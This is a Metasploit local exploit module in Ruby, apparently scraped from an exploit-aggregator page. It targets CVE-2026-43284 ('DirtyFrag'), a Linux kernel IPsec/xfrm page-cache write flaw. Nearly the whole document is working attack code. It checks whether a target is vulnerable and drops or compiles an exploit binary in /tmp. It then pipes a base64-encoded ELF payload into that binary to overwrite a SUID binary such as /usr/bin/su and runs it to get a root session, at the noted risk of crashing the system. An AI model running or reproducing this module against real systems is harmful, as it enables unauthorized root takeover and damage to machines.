Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_43284_DIRTY_FRAG-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'xfrm-ESP Page-Cache Write via CVE-2026-43284',
        'Description' => %q{
          CVE-2026-43284 is a Linux kernel page-cache write vulnerability in the IPsec/xfrm
          subsystem affecting ESP (Encapsulating Security Payload) fragmentation. Dubbed
          "DirtyFrag", the bug allows a local unprivileged user to gain write access to read-only
          page-cache pages by triggering a race condition in how the kernel handles shared fragments
          when processing ESP-encapsulated UDP packets. The exploit overwrites a SUID binary on disk
          to execute an arbitrary payload as root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Hyunwoo Kim',      # Discovery
          'Giovanni Heward',  # Original module
        ],
        'References' => [
          ['CVE', '2026-43284'],
          ['EDB', '52585'],
          ['EDB', '52591'],
          ['URL', 'https://github.com/V4bel/dirtyfrag'],
        ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Platform' => [ 'linux', 'unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Auto', {} ]],
        'DisclosureDate' => '2026-05-08',
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_OS_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
        }
      )
    )

    register_options([
      OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),
      OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])
    ])
  end

  def check
    dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')

    return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?

    vuln_modules = %w[esp ipcomp]
    return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }

    kernel_version = Rex::Version.new kernel_release.split('-').first

    return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')

    CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
  end

  def exploit
    suid_binary_path = datastore['SUID_BINARY_PATH']

    fail_with(Failure::BadConfig, "The #{suid_binary_path} does not exists on target system") unless setuid?(suid_binary_path)

    payload_dir = datastore['WRITABLE_DIR']
    fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)

    arch = kernel_arch

    cmd_payload = framework.payloads.create("linux/#{arch}/exec")
    fail_with(Failure::NoTarget, "#{arch} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')

    cmd_payload.datastore['CMD'] = payload.encoded
    cmd_payload.datastore['PrependSetuid'] = true
    elf = cmd_payload.generate_simple('Format' => 'elf')

    # add padding
    elf += "\xff" * ((4 - (elf.size % 4)) % 4)

    exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

    if live_compile?
      vprint_status('Live compiling exploit on system...')
      exploit_c = exploit_data('CVE-2026-43284', 'CVE_2026_43284.c')
      upload_and_compile(exploit_file, exploit_c)
    else

      fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch)
      vprint_status('Dropping pre-compiled exploit on system...')

      exploit_bin = exploit_data('CVE-2026-43284', "CVE_2026_43284_#{arch}")
      upload_and_chmodx(exploit_file, exploit_bin)
    end

    register_file_for_cleanup(exploit_file)

    print_status(%(Trying to run the exploit: "echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}"))
    # patch the setuid file
    response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}")

    fail_with(Failure::NotVulnerable, 'The target machine does not seem to be vulnerable') unless response.include?('payload delivered')

    print_status('Running the payload')
    # run the payload
    cmd_exec(suid_binary_path.to_s)
  end

  def on_new_session(session)
    print_status('Restoring balance in galaxy')
    if session.type.eql?('meterpreter')
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.sys.process.execute('/bin/sh', "-c 'echo 3 > /proc/sys/vm/drop_caches")
    else
      session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches')
    end

    super
  end

end